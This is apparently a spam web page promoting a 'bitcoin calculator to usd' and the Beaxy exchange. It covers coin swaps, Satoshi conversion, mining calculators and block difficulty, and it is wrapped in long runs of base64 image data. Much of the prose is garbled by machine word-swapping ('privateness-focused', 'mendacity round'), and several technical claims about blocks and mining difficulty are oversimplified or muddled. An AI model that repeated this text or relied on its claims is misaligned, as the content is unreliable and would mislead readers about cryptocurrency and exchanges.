IiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiL\/2Q==\" width=\"302px\" alt=\"bitcoin calculator to usd\"\/><\/p>\n<p>If you\u2019d wish to trade ETC for BTC, you are able to do so immediately on the exchange page. ICX is the native asset of ICON, a decentralized blockchain community that focuses on interoperability. Monero was built for anonymity and is the most popular privateness-focused cryptocurrency. You can move out and in of BTC whenever you place an order with XMR on Beaxy. You can easily move in and out of bitcoin cash on Beaxy. Swap bitcoin cash for bitcoin directly by placing an order on the exchange. Litecoin and Bitcoin could be instantly swapped for one another on Beaxy.<\/p>\n<h2>Signing Up And Uploading Your Bitcoin<\/h2>\n<p>We\u2019ve put together the short conversion table beneath that can assist you visualize numbers so small. Each Bitcoin is equal to 100 million Satoshis, making a Satoshi the smallest unit of Bitcoin currently recorded on the blockchain. This is one of the best exchange thus <a href=\"https:\/\/www.bitcoin.com\/\">https:\/\/www.bitcoin.com\/<\/a> far not even in Play Store you&#8217;ll find similar exchange. Try out a BCH to BTC conversion and see how a lot additional worth you might have mendacity round in your old Bitcoin wallets. Now that Bitcoin officially forked, I added Bitcoin Cash to the record.<\/p>\n<div style=\"display: flex;justify-content: center;\">\n<blockquote class=\"twitter-tweet\">\n<p lang=\"en\" dir=\"ltr\"><a href=\"http:\/\/t.co\/Ez5xBboNxe\">http:\/\/t.co\/Ez5xBboNxe<\/a> Bitcoin to usd calculator<\/p>\n<p>&mdash; emma rooney (@emmaakarooney) <a href=\"https:\/\/twitter.com\/emmaakarooney\/status\/577971268697329664?ref_src=twsrc%5Etfw\">March 17, 2015<\/a><\/p><\/blockquote>\n<p><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script><\/div>\n<p>Every aspect of our Bitcoin mining calculator has been developed for miners by miners. Our Bitcoin mining calculator makes it easy and simple to quickly see Bitcoin mining profitability based mostly on hashrate, energy consumption, and prices. Default inputs are preloaded with the newest Bitcoin difficulty target and Bitcoin mining hashrate for one of the best Bitcoin miner. When the favored cryptocurrency was first created, there was no subdivision measure to greatest calculate smaller portions of a coin. Through discussions on the popular <a href=\"https:\/\/www.beaxy.com\/exchange\/btc-usd\/\">bitcoin calculator to usd<\/a> discussion board Bitcointalk, the community determined to call these division measurements Satoshis. You can even use this USD to Satoshi converter in reverse. This means that you can enter the number of Satoshis you could have, and see how many USD may obtain for them. We will match or beat ANY Cash-to-BTC competitors&#8217; markup charges with proof of purchase. Since 2017, DigitalCoin has turn out to be one of the trusted manufacturers throughout the crypto community.<\/p>\n<h2>Bitcoin Mining Calculator Inputs<\/h2>\n<p>One is to check respected sources for evaluations that confirm the integrity of a given website. Another method is to ensure that the site the service manages uses https of their URL. Finally, use a conversion service that enables two-factor identification, making certain that solely you will be able to approve bitcoin conversions. There are different ways to convert your coin to money, but they&#8217;re too many to say right here. I highly recommend you as an alternative learn our guide, \u201cHow to sell bitcoin\u201c. If you wish <a href=\"https:\/\/bitcoin.org\/\">bitcoin calculator to usd<\/a> to convert your satoshi to money, you would need to find people who are keen to commerce your Satoshi for fiat money. Another way is to buy a product utilizing your Satoshi after which when you have already got the product, discover people who need to buy them from you with cash. Learn more about Binance.US, the American arm of the world\u2019s largest cryptocurrency change. Your detailed evaluation of the Paybis cryptocurrency change, together with supported cryptos, registration, charges and cost strategies.<\/p>\n<div style='border: grey dashed 1px;padding: 10px;'>\n<h3>Why Is Bitcoin At All-Time Highs? \u2013 Forbes Advisor &#8211; Forbes<\/h3>\n<p>Why Is Bitcoin At All-Time Highs? \u2013 Forbes Advisor.<\/p>\n<p>Posted: Mon, 22 Mar 2021 07:00:00 GMT [<a href='https:\/\/www.forbes.com\/advisor\/investing\/bitcoin-price-near-highs\/' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<p>Thanks to our easy tool, you&#8217;ll never be out of the loop.<\/p>\n<p>The Bitcoin community consists of nodes that may validate transactions, arrange them into blocks, and clear up the hashing function to mine a block and receive the block reward. All different nodes on the community will verify the work of the miner that mined the block to ensure that it was respectable. On the Bitcoin blockchain, each block is 1 mb in dimension and holds a median of 3,500 transactions per block. To ensure that block mining instances are constant, the Bitcoin protocol has difficulty adjustments. This makes mining a block easier or harder primarily based on the time it is currently taking. If blocks are being mined to shortly, the hashing equation turns into more difficult to solve. If blocks are being mined to slowly, the hashing equation will become easier to resolve. The difficulty is outlined as the variety of zeros that should seem initially of the resulting hash.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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N51LeXbrKh++ulIT45SFFKQMJSPkBVRvdCpiG1LEJ\/eOCQjkAdh9Oa+gus\/bL9hLpk2GY2s4uqZQJy1b4Ts1GfUOABH\/z45qqL3\/K5dENMx12\/pv0LuNwSrP6S4OsxUEn1SgLOPrmq9+RiJ\/TEsUV3r7mcYSuijxUUe7qBHHI5pbZPZ\/VIfSVshKc5J2j\/wCzU76kfykmvepyha7T016eaTYeyhUxdr98eQk9lFRT5fJs\/Suabx1Y6nXp91MnWM7atRx7ufAb\/BKAOKq+ti+dMl9O77e7g670f0y0LoF9u6X+426JsSHA7LfQ0kY+Zqc3T2sOhGlIQip1i1cXmUgBEBlUjP8ApDAP+tXzikM3W5yC7LkPPunkrdWVKP4k1ui2CW6FKWk4HnkU+PVJQ+mvwRfJQf3Hbl1\/lCdIW1p1rTujblc1nOFPyERWx9RhahUVj\/yn3XDT\/vSdC6e0xYnZCQhUlyMuVISgdkha1hBHY\/cHYc+vK8fTG4hS1fdOcZpyiWBhkkOthW7gA1DkdQsujqTJqsSqHMUJeoGstadWtZ3PXmsJi7jfL297xLk+ElsOK2hIO1IwOEgcelZaZs8yI4tUlsJyjzVzUlgWhuKjd4QOfSlSo4ZSleMbuaz\/AFv0J\/AjPxJ2KUQKZ5yQh1aUryCO1PcwKQUqx2FNMtoFhSvMUxeR0U9jIXthKR5Gl8JeF7yfu8imxoqKySPOl8RBOU4p0tJE8Ux5bckOJ3JcIFFKYAaQwApWD9DRVNtDtM6VsMaChmTa1QZEa4tEe7uKVvQpHfBOc7gAeP21siajXHuL1sl3B\/xmHAqOlLJKlem0pGQM54NP6ZC1uN3NlO2S6gB99tCMgDvgpOBz8qiGoRbk3iOlwFy6LbLyHlOBASjeEjJ7d1CuUx6vWsfedm2lFfoKNWy2bjdWcMyEPtulTy3d3w5QQUjPOOc0lursdCmIzMpPuaU+LHSU8FQBzuPcH4c\/Tmt93YSiZBjJnlyY2h1Dykp4SPFTsyfMhC+T51jd\/DYfEBBjhqIPGbcByX0qbcyvd68CtmOoRUSrLl7ExeWhtN2XAjqVIaXH5GEqSUkBwDuD3posduLWuHoy09kIWR2xuAVwfxp6fdYBTcDbvhuCfd0pKiAh0kJ3AenNNGm25KdYvh58OONpbQSCTyEJB\/bmicl6ciCf3xOuuicbwiGn3VOqX8TbaicEDvVWdaosC5We422ZGS6hO7wwRkpOc8Z+lWv0fZUiC5MJO9th3Yr0Viqe6xJDi5bSnw0lQ3Fas4Tz3OPKudxpv5nRqWqMaGUExARELbTLC2mslpvcc\/EB3PzNYL8MjwElB3p3PFQxtWPLNOF2Si0pclyHFNJ+N1tazlB5xuB9DUbZ1dpu4TDbYtwacXwr4k43K9PSuvqW4mHKS8Cx1px9CVhGHpBAAQcYCRnNIlhtKE7StWRuQCn9bNOboLxJSC064S4lKTwgD7wH8KQvkZTsUrttRny9TUkZIikIHmXNxISnCMqVk880ncbCUBLnxDjJz5elLZHxJSEpSUp5z\/aPz9aQOFSGlJH3QfiqRMhcW2Vhqp0Juzy3AU5xj8KZVurIylHHl86mOs4Dfu6HtnxrVgmo1Bt70p9LSPu5+L5D1q1HlbMu6L7jTHiyZG0JKhu8k81J7PoZT7ra55KEuFPJ74Pn8qXwGYsBwLRHBCBt3d8q9al2k9NXjUzxKlKbaKuVHjGT5VHbJwWySmlt+Btiaf0dax4EmP744k5GB+w1qXbF3J3Frta4qVK+FtKvhI+Yq\/tJ9CrOUNmc4tbiyCScCrx0Z7O2kpCmf0W3H90E1lXdSrq5kzXo6VbbxFHBtw07Ptp3S7apPiDC0FIKVj\/Co6\/Yi4y4uMyVKQsnjvj0r6p3b2S9GXuKlpW4KxydtUxrn2HLxa3Hrpoh8TEIBWuM4nav6D1plXW8expbLFnQcmEW9Hz0daLSykjBHceYrSvG7irz6udMYWmGCmbAfgXTblaVjCc+hqi1J2qUnBBBwRW1XZG2PdHwc\/bVKmXZPyet8uJHzFTK2ApcSojtjj1qIxkAuJJ8iP31Nbe2XFBCRyQKZc9IfStssK3wXZDCNiQjCQRzmnq1wJBWFF9xJH6oIxUdtT0lKmm21qJAwoU+2uZLz4qkkJCyCKyZPctmrHhGvqGw9EsRYdKidiiAT5E1Rt7ZeXFW0ynKgQc\/hXQ\/Uu3PuWKLLUeXoIcKT5cn+AqknYTjwDgUBkD9wrQx57W0ZeYvq0RO0ydQWV0ybTMmQ3HBscVHkLaUpOQduUkHyrN5i8znA7MeefWo5K3XCpZJ\/vH4v21LWbU2jAcVx3pUi3NKBAUPlVn1JFTtZC29PSFlRXjB5Azn9p5pVH0uhYPipJI9KmKILTaUkBJUk5P0pQzHRlThQMKPGBR6kg7WRSJp6OSlCmAQjjtzS9uyt48VLGADjNPvgqjrBwPi+VepaUHA3+qTnFHcNGhdoChvSgA\/SlTdrAQgAlPqBTo4yjeEuKKUfLzrZHbQG1DJVn7pNMAb\/syOSNn51miEhR3bc7eD\/GljSEtHaeN3Ga83FkqSgcKGCaAMFNjwiQeBSNYKyAVcJ4pUtwhPhikziHG1Dd2NAITvlLrqUKO0c8\/hTFcUlG8JcyPpT1OR229zTRcG0JjqUAd3nzSp6ZPHyM0ZAO7PkaWRcJcPzrVGQnCuO4zSqI2kvAY86JvaJovke40R9TQU2jcD+FFPcVpSY6Ak4GKKosm7GdI3AdQNNJTD\/nJEfStvKUSIScjz7pqJX+Oxe1Nw9SFMiU40ttQQ0UpUk4KSnHPCux7ZFT\/qRN3ybWwUcqShJI8\/KpFcdFx5TkK8NR0CTHYCUkjhX90j0NYFF3py3JeToZxbWkyhpkC+9PSUzJ7l5jJiEoZ2hcpj428hR\/XwMdvKniJdbRqKHEXbmkvMRSUO84ccKk4KSn9XGTx86e73YJluvKYwgpKJIKWVAKISFH4gT8jj8KjF50tbWpaZ1k3RJzTTrEh9aD4Ti\/hIJSMkgHjOMn0rRjOFq4ZB2WR5Q7zVxPD94xLU3J8NUHsNig4nIx8sU2aNYeOppypLgW6FjeoDseKR27V9w8b7H1NHcYmtxyqAtCAuM6lAKiUqPbhJ4xnOKdtAqVLv1wW6hKVvOqJUAAMg\/KmW7jW9+4jkpSi0dZdOlhm1LaZAUTGUSE+VUv1cXtDkkkp3NFLhxng8Hjz4ParU6XoWxBnPqfQShsJORniqv6zOsoZkPFfhNAJVlac4G4Z4rn8b\/wA1o171\/ZaOfrrb237ZLt0luRLtr7CnEMcpWzyPibUeCPMp\/AVUl70rI014V4tj5nQCvcl5KeWzu+6pI5Se3Bq6X3lNsOynZJDSGTsK+AhpR74qq5GqGrXbrtcLOEPtLucaNhxO5DrRafKwQe2SEcj0rtqPpRzGTrymSqzXmHeIiJEV3cvaXHcHGxXmAP8AClDrxPDecqILe4cJHOSaiOl4VvlSkXzTi1Ro74Uh+3qVhQUAM+GT95I3DjjipWpXhqSW92SrAyP1MUT8ja598E2J31nGEpBT2GB+dIHktoSUYUfp2NOC1KWQlShg\/dPlg0gfQRx35xkU5eBXLRENaeL7owokEbyDj6Uh01HCXC4o43DzpbrTeGY7YI27jn64pDbXfCbQBnNWapbiZ9q3LRM7Zao8l+O0pR3OrAKQM4A86uDT8RqE+xDjlISnH44qmtKS3X7kgJO5SCMY8qtuBK8F1t4rSFJGOTVTKk3HRfxUovey6tLYdLSSrPIrorpmw2fBStBOfPFcsaC1zpttxCLnPbZ2KwoqGBn611V0z1BoiYlr7N1FEeex9xLozmuSzqnp9yO06ZbFpbZbsSMnICcY8qUPQxtBz9cVpgPtKTuStKvoc0pcX+iKi4gDtyax51qS0uDSnKUn+hx\/7dnRg6m0LJ1jpuOkT7aoKltgj9Mx+sfqP8a+XMtp1p9bbqFJUk4O7vX3D6kStKXDTV3slwv8BK5MR1Hhl0ElWOB+dfF7qJGMLVlyiKSElp9SMAehrsPhzIlZQ65+Ucb8T0VxujZD8ckcj5D7Zwcb0\/vqb2tpzCHWycmoXGG95tI75FT20gtx0KIJA44rbyPBz+P5JdZ1qaIcWfjxwamen0JmRFpd2hRVgfM1ErNETKSh0rAHp51L7e17sEJYztCh\/rGsp+TUj4HvXKG5+jJL4QQqLBShPHosJ\/xqiksJ57YycV0fry2iH01kyNuC7AbKvqZAR+9JrnUIUEhISTgDOKvYn2GVmcTPUx0kYOMjn8K9RtQQsJBAOe3etwWWwlxABJBSc1glpxZDW3BJBz5VZKncZJQACdoO8\/lWxkYJRtACR2BzWKUkpI80ng1mlKko3cbvOgO4wQlS1EkFQH41n4e5BWD8QI48+9AShTifDUrBHxCswB4oUgjaokUB28bPHWy5ithRhtIQM4748q8UsNrG7y\/bW1vhJyOV9h50DTWVeK4Pg4HnivFoUrJSgkD0Fb8JYO11Cgcela1rLZU2M0AJlpBTkJ59cUjVvdcCDninDAI2Dgn1pJISWXAQcn5UAhC6kLVtKsY7n0pjnjBWneVD5inuclQO8cK8wPOmeejLYIIznBoJ4+RDHSU\/eTj6ilEUH3jgHvWvOVbR3HFKojR8TfuGKSXgliuSb2+UhqKhLiU5x5iikSf6pH0oqmyfvZ0p1EkNuzLatKiC0pHb\/OFXTvQIzYRhWUDORnyFUJr39FIQ6t1KUNgKKldkgHvVz2yaxJtzEqNKbkMuJBQ62rcFDA5FcvbzWpHS7MZsNmQSpbQI4yPoc1XWotBSXLkiVBkL8FxZW80pW09gMj5ECrOKgr+FalhvkOAFPmD6VHVfKt72HkoS+xzKjSIV0EbxYKlMNQ0tlOW1MuAkY+uSfXFZdKLGVpcKU4Q3IcaGTykBR4zVoai0zbbw4iS8Etvt5BWlPKkkYwT9DVfdLn3IltkJQrdiU7knuTvPNak8j16e5EXanYdJaDtzcXTNykEjajCck1z916ua48OQd4LeEJVu543p5rojSiUp6cXZx7IdcSCmuZPaHcjp0zKfdwkKdbAV\/wBokgfnWXhJSzNMuZTaxmyjNdXO7xNBvTZLivClqajsLyOW8q9PpVbIWDoB10frXdlI\/wBFhwj\/AL5qe64tMlzRstqOCtDK48kpP6uc5A\/Oq9S4E6Ejx+63rstWP81sD\/6q7eqK7TkJzfcSK1WSanSduu7Mjwvc5rywrPxfGlA4+hQPzNTCLeVOCO3PUUSFRm1qex8B3J\/W9O\/emOUgQbXprTshSkJmBxx1Q4KSSnH7zUiiQYrPhkR1rebQ2lZc5+ENpwP21Hb5J6eFo2OlakBCgnHCM98J9QR3pE98IKcDtilDzTzcoEqCmXlFKmvNsYzkfKkqzlASTyrsfSiPgl0iG624ajH+0VH8qa45CYnik8inHWRViKe4VvwD5c0kt1tkTIawSUgJyKtxSXgz5\/ciVaCMeMp2c+6lIVwCpQGKnUa4QJkxuN72lSD98JWM486rrR1uRIUqLJO4DHwmrXsmhYz6VvwGdjqWiRt4ycVQvlGL+ouVRm19KJhaYmjZLBt5tMua6sbUOJOwIP1yBTa\/bdQaHubF0tkoxkBX6Ml4LwM9jtJx+OK3aM0BJvF5dkS5boaGCGeSACMcCrHsHs+xoFknLemTHnJDocC1jYEIzkpA8\/rVOydMuJM0saF2m9FkdIPaCXOQzb7xe48d4\/CVuO7UY9cmpXrjrYi2NrtcfUcSU49kAx3wsJz8xkVy5pzSloY6hR7JemXUW56WhDgC9p8PJ\/W8qvLU3QOyWnXibRpb302m5QEXK3s7ypxJQoJdaKlc45SofU1k5OJRVan7Pk18TNy76u3XjgRaYsmn2XjqfW+nbtemZboRvRIaCUlWcEoC93fGMgCuQfaG6YTrh1R1BdNDWh1yzuPJW0ytxHjsg\/eCkgntg9jXVo9nW+t3qZdIt9mx1POIS2y4FJ8BBWNwJ\/W7CuctXOXe2W\/UKkPpbujc9UNLy1AJSrxVA8q4zitDp84V2agzN6spzrcZrn8nN9vaKZoQ4ClSCMg+RB7VY9njLdjBKU5CuKg32PdYM5tye3\/WL5WFA5JPqOKsHS75b8NDmSN1bN8lKK0YGLDS+okdkhSYiVFTa1JTyDUvtSluHw0oGFuIPPcU2NTbelhCS4crVgil6JyLdK\/RIBSSCKyJN7Zpk36oyX0dOXkrA2qhR0Yz2UZW\/wDcRXObu9CkhtRAVwaunqDPelaJfCnEkKEVRx6fDVOoCCr4+4BIq7itqBlZa+s8S2peG8gEAnmvMr8IfGc58qydyUpJGCRis0NBshTh+EjCQO2as7ZV0j1OQkFYwPPFZoQHMhCht8s1gCVIUg85OBWSAEthOOU9\/nT48oNIxALYKUnk+dZb8tBpCE5ByT5ivFvNuObggIQnjjzr1B2K344Pn60oPwZupC\/1clPfHlWaSC0lYzkedYhZRkg\/frNKghOxYzu7UEZ6pRey48onaKC2V7nxjGOxr0hbTgQUDChitbpIwkHAz2oA1OYW2VAEEUjGVLJVzilryvhSgcZpG8PBcBByD6UAhKra8vDp2jB\/dUfuRxkJPAPFPs8c7hwr1pkuSNjQz3OaCePkQNLO\/PrzS+3hanwg9sim5nOcmnW2EeKSo9vOmWPSJY+SVIQPDSOeBRWLbb8jJYOEJwKKoNvZa7UXx1jQI1pnuLH3WFjGflXOfTjrRrLp5KQq13ByRb92XILytzSh6Jz92uievj6F2WWmOd\/wKCsVx5IhvsFISkkYFR9KohdjdthN1acqbl6Z3d0267aP1+0iMzITAuO3mJIWN5P9w9lD6c1YDkxKsjZ2+8fSvmnHlSY60uNrW2tCgpJCiMEefGDn8au\/pr7Sd4symrXrFT1ygI+ESQcvsp7c\/wBsY+lVsrpHZucP8ifE6hGa7LOGdYSnWy04Qr9U4qn+nTqkx1qxwuStR\/FRI\/YRU3gatsmpLA9drFc2ZbKmFr3NqyU4STgjuDUO6XQjOt25twZQd3b72Dj\/AArNgnVW1Pg0YTjK1aOpoEtDHTGSFp7qQB8\/iBrk\/wBpV9pOmksONEBUhK\/iPHyz+Irpict+No2PbmwPFdIUoZqjesWlYmubWmzyluMPMoBS6g8pWDkZHnVbp84xy+9+DS6jFvGejmWbqqdL03LIUgB55pjAH6iR\/wD7UVuENtOnrc623uSmbIOBx5NY\/wAal2qNE6h0\/DXAlR0uqdm7m3Guy0BP3j5DvTHdo8mLarXbg0pbhefUEoTuKidnp9K7yqyNtf0M4S2uSltoU351+9ag0++EFI8FJx\/dDqxmpu+40HQkL2LVgKHqNief2Gmqw2KVF9yuFzw0WoyWgytO5zcXFHt+rndxTs9IQq3uSYCVNL2q3KVyo8qHHp92q9n1Pgt1xfamIbrITAIkzpAbHjBOMEk4SOOKQe8NyW\/FZQUtug\/hzWWoUFUaOh7Cit1S1KUMkn4R\/jWiEpz3JlCUgIUjcePM84oXgd4IjrBSC7HSpWMZV+3NTbp\/bY920o64hpJdbQtC+OxPaoJrVCVSmwFH4kAgAfd5p76aarRYJD9tkuhtiWd4VnIQrIHPyOamnF9pDXJeq\/1JJGtarTK3OYDgA4FW101uyGpTanQDkd\/MVCdQsR1LbmRXmnPFHJQoEZHnSvR80wpSFuIJwrnn51Qvi+00KZOM0kdJ6dWWHm\/s5mEoJUdvjKWleO\/JwofsqezZesJFjdRCsEcgJOViQopA9fuCod0zudvltsrcYBUSAfWr7ujav5nSWY7imwthSUkH1FYORJRkkzqqcaM6HM46cTLTeBcnVNreRIBUto\/CMd8Z5rsW1269am01pXUcJRYuVrKltPKbScpW34a0lKuCkp7jvkgjkZriyd066pv3sWiwS2JSVOKUhCUFKsE55OTXZfRPTPUOLY4bGsdQoejMtf8ABoyEnJOMHcfkfzpnVNyUdSE6X3R7oP7SXuL1rJacYEWzNHG7e824kA9vuhSuPluP0FfMD23GJemOoT2mVS2nUPOuXR\/wG\/DSX3EhRAGTwCVedfVmQ8+2gxnUlalDb\/j\/AIftr5Ee2dqZGp+tV7msrS60xNkRWiOAUtK8P94NHw7zdJr8EHxJGNePF\/lkEv6Cw2w0oZSZKU7foy3z+dOFiWsyUgq2oSnBHpSbVyQiRFbzkiW4PrhCR\/hW2yqIkrSU98DNdXbzHZxtbTZNIsFoRw8pRUrxMjB8qetiXi06nJIGBmmOApw7kfEoJ8gKfY6VteEypJ3H4hWa\/JoLwLdcOlvSrjSuAsR0j6\/e\/dVYKSklO79UDNWh1N2rsylM\/wBWgwvxPhkH9oqsVbiSB2VjNXaF3R2jLy\/vMwptv4SjduHB9KFfc8LurGfwrzwFK+4OEcnmjJSnehOCe\/zFWIpoqSM93wpWnnZWTSypRWvgqrBCVEeEByrsa2hspQW1cKSe9K2kEWkjDaWypC2uF896yQ64tIjkfCmhJyQ+rko4FAbW0Q6raQvtg0o3TPVBSydo4TituQto8YLY71oWFJVwr61vQpRKWUnaFeeKRNMQ8Qrc2XlfGpIz9BQQlxHiZoWrwXQ1jPOM1pWT4mQcZ8qUDF7cpsnHbikjSVZPFLXB8SQeEkcmkcpO1zDS85PfFAqTEqkNPpKHV7c881GrpnKgV7sGpDcmlpdz5eoNMd1bb8NJQeec0E0fIhYbUtHwjt86cLY2VyAMZ5Geab2SW08HOaXWoqS9u3djnFJLwTRJhHUtsK2r2g4wKKRpfUlI4zmiqbHl79Qo\/v8AGehAFTj521RV60Y\/DUsLbWPTjyq2uq2opuj4y7ywhp1xlYIQ6MpOTgg\/hmmTTnUrQmv2ERJhRbbkoYLLoyjP91XpVLC766vUj4NbOhC2brb5KQmWdSNwwcg+dM7qFx1YVj4TwSOavjU2hFJ3PMNJ2r5GOc\/Sq0vempEYrBbPGcjFadOQpcGPbiShyxv0rqe9WSeHLRcnoq5JDTuw4DiTwQodjxXVnSBS3XEQgSPE7kcedckQLc61c452lJDgPNdldA4PiutyFnKwnis7rCgq9o1ejRcpaZ0qbWqNpdtbgDroB2kjtgcVSmun0C4uOvOISpZyQPP8BV9bHVaeG4EkFX7q5Z6s6kcga1Zs0YNNOPJS6Vk\/GAXAnCR6cmuR6bGV177TpuoS9OhKQzXyREeYcivNo2ufCUOAFSs+if41XN4hv29uRG0\/BajyWW1BKiNzuSlR+HPA+75VIZrSG9SNkuFSgygEqPJPxH9wP5UlUsqv8lR8in9xrrqHOC1s5e6MZpkN0W+8pqW\/cJD6pawnxPF5WF8Yz9DTilSV2dKxuCg2hHb72VK\/ia3hhDj1xW22ErCzhQ9cnn9lJpD7X2U2lpazuSGzj+3nv\/8AfrV6Nq1yVoRda15GbU6nUqhMOqO4rWVgjHmjFEDxjAjhOzBbQrk+e0U4O6Zvuq50Fm2xlPKaLxeeV8KWQFK5Ur6YqUtWnSeio\/u1zWL5cmhj3UcMoWOCkn60kr4RRLGqU+fYr9rppedUz13Nb7dvtbDWXZkn4UADkhOe5rfqhzRmh7KzZrHbk3STdY\/iJnyANu0OFOUjtjKDTf1a1Ne597btr811MIRWH0RUHa02VJ3YCR\/jTF1AlsIj6YYacSsxbK2lYSfuqLzyiD6HCh+dS1Vznpt+SGyyFe4QQr0yZzF4fQ8twNvMCQ0kn4cZ7generIsUxpbiFqdA+IH9tQDRl3RqV9otxSybfbm4QyrduIJ5z+NSFxmTa5eV52bsH6Zps9bcWFTbfcmdG6CmKZebVGlAjjgKq65mv51osTrciK9LC0gIZS6lO4\/U1yDpbUTsZTbrMhQ2kcV0BpWVI1ZHbjzmw+lSdoB4wKxc6jUlJHQ4eY3F1jhF1B1TtC4+oen2jGbk8D+kSH0uOoz5YBxVtdNuo3W6e67M1ZoOHChpAQmMXg06Veahzj8DUGtPRS8oIl6T1RPtpVwtDas\/sq3dGaBu1jCpWor9MvD6k5QHyAlB+g71g5uTUk\/dnR9PpaXgll5vrUayStQTm1RW4cZcl4OnBQlCcnJHlxXxT1xdHL\/AD413lKK3p7kqW4fm7JcVX0K9u7rnK0J06d0NbXtlz1QkxFlJz4Ub\/2h+pykD8a+clz3K+xEBIGYjRwnkZLi+37PzroPh3GlDHlZJabOX+KMyM7IURf2kl1hu+0o4Pcyn1j6hWP3ClMBRb2upTlR70k1eo\/bEdXq\/KI\/2ppXY3FKUlJTnmtiyX0I52taaJHYblIdmFpKRg981MiXgw2843lxSsA+gqOWq3bZaXG05yc8VMnHmkssoUjkLx+NZzlyacY7Qi6gAuac8UHaFvsI2+pCVGq3QlzClb8EYxx3q0+pRQ3plLIxlUxrH4IVmqvWkKIOcAVfxXqsyMt6sa\/Bg9425HO3dwaUNpSpSkKWAEpyB6mtbiEAbVq+Ij4K8WlYQgH7yQc1Y7im3syXuLW5JwoHGaySFBsbl4Ku5NCdqFpLgO3b+2vWwrwyVkEEnFGu7kVR2CUgOhoK3JIz9awQlZWN3IFepOGyP1ga9y2Qnwyvefv5FO1xod7HpQXAtXibSnGOO9bEpcWx8R+724rU4jevIPAxW8jCkpUspbwOU96RR0RmDbag2XDyfzrUsDwi74mVZxilBUgOjwXVKQeCVjFaPC2u7vImlA8cSpyPmkjbStqlHkp7UsWBv2qWpIJzxSZ5PhyiGlFYNA5S9hvUkPlXir2YHnUdnf1hRuyMnmpDckFSlADy5piuqAhDQBGSKCWPkSISnb2pZbOHFUhzkDB8qcrUNy1JSMnFJLwSxfOiRxmWnGgVjJ+tFK7eAGAFDmiqbLHYTb2jFKkWSSiK0tz9MAQgbsbSSc4+VczS7bcbeUJlR3Y6nEh1IcQUlScnBAPccd6+pnsh2WDc+uEpqczvTGtElYSs7sKUpKAfrgftP0qkP5U1RlddrRZo6wlq1aeYQlGBhJW44o+fNQdLy4xaxmt8b2W+q427fVh4OV9IdYtT6cS3Cmum4wRwWnzkpH90\/wCFT9rUumdbNb4LjbD367DpCVJPp6GoJpjo5qTUMZV1uKmbJaWxuVOnK8NJT57QeVVJbdfenWhWJSdE2xN8vECOtwXi4NktpWlSQNjXHHJIP0q\/OFcn9PkownZHiT4FznT67Fo6gMdDEFhQUHHlhHic9kA8muj+h7XgBgo7KArkywdStTaxvLdv1A\/72FL3hRTjYMj4UgcAfhXaXSO1pdfjFAKAW8q+uKwetN119s\/JtdHcZ27iX9NWlnT4KQRnCs1wN7SMsHrxHU24tHudpW8kpPmht1Y\/akV3xf0eDpUoB+IpGK+efX1wyusVzlZGYtnfbHpgx3CM\/iqsn4Z08iRr\/EEnGhaIjo3qVIuFxLmo1Bfu7O9b+OyQkp5\/FY\/bUxtt0hTrnMlRHQ6yskpWk5BqjtOMyim5tsR1vvKhKQEIBJJU6lPAHyq3+mfTS+adtD+otaXhuxWtxKVqTIIC1JIycA45+mfpXXZFcK\/rT5\/BytDlbw+BdbC9LfmNQ2HHH3Xf0baRlWcqxx\/pCpDbNEW60Ro6NZS20reeSGoDC\/0q1KUAN58uaT23qBphVouKdARDGYipd3z3Rh15QKAFDdyB+kB\/wHameyTX3JkG5XOR8anUPOvOkZOFZ7\/hVFq6UtKJaThHjezdqTXV3ky4lnspFqtj76GlMMDClg88q79hTZqhxX84roW0bUia\/wCFgcbgs8Uw3O6xm5lvdYWl33F9LrgBwDtTg8\/XNIrzqKdc50mduS17w84\/tQchJWrJwfxrTxsSUuWijLMT+lsbepZLmp\/ERkJRCiN7hj7wZTn9+PwNQiQjxHVheQFD4iTnNSaakykKLylLWeyiee\/H8KZZjKS2kp+8FAK+takavSXbIzZzlY3JFpdKLTa9qWohCitAK\/XNWDedL+NHKFN4KknCjVF6G1OvTF9akOBXglYCgDxiuyNMwrfrOwxrlEUhbTycp24JBA5B9MVlZcJVS7\/Zmnhdk04ryc6vwLjZnVBBUU+o7VZvTXrS7YAINwVtwMIcxwPrT7qrpnLbCnkt\/CewCahtt6dRJt1aiTdzIWoDJGAeaquym2D7jQhVdXNdp1N059omwNgB2dFUhXC1OKwc\/jVlan9prptpTSsvUt0vUZtEVPwIS4kuOrxkJbSD8R8\/38VWfTf2XdHWtce7z2vf1HBS0oZR+PrVT\/yiDltsadCaPt8NiNG8OTKcaZQEZI8NCScd8A1z1ePi52XCmK\/O\/wDA6O3IyMPDna3+Ev8AE5a6ydTb11cuk3XF6ccC592fUwypWUx2EpRsaSPIBOKicpBRcbFHUQcRYw47cqJrbdLdKZsESO00t4qlPu4QkkgEIA\/dSiXAkK1DY2zFkbAzFSpQbPGFAHy+ddl2ejFQjwlwcNZOV8nKfLHLUqg5dmM8YckEZ+buR+6l1gQFPEKB4449abNQB5+7RVBv4cOKyBjkrJ\/dT9ptTCQVPZBJHb1qpbxHQ+HkltrS6x4igrkj4T6GpjAbL0BKlJStQczxUWa2eFlnncOc1LdGPNXEGBvDRScqc+9g\/MVnPyakPCGrqavNlaG05RcCM+oCCP8AGq2DnCmgPvYqzuqCAqwRljsu4O8\/RJqsmwQkupGSOMZrSx1\/ZJmPm\/8AjtApTZIXhR8P73HNZhxvBcU2CFj4cd+e1YKfWn4EjaF\/eBo2uLTgN\/CnnOfSpSr2o2LSSgNk8k8H5Vj+olW0KSnua2Ld8EJc88YrWBhva4VK3cgCpI+BUtHqNq3fFRw35ihpIC1L3DnsPWvUBBb8FOQryFeIcS8pIS3tDfcilGOTMjs+JCidxxjFbAkoZSlR\/GtDgSp0ONk4TSklIWh1Zy35gUDTBLZDRIUM5zivHA2WwUFQcB5z2xXqFBbqnGeG+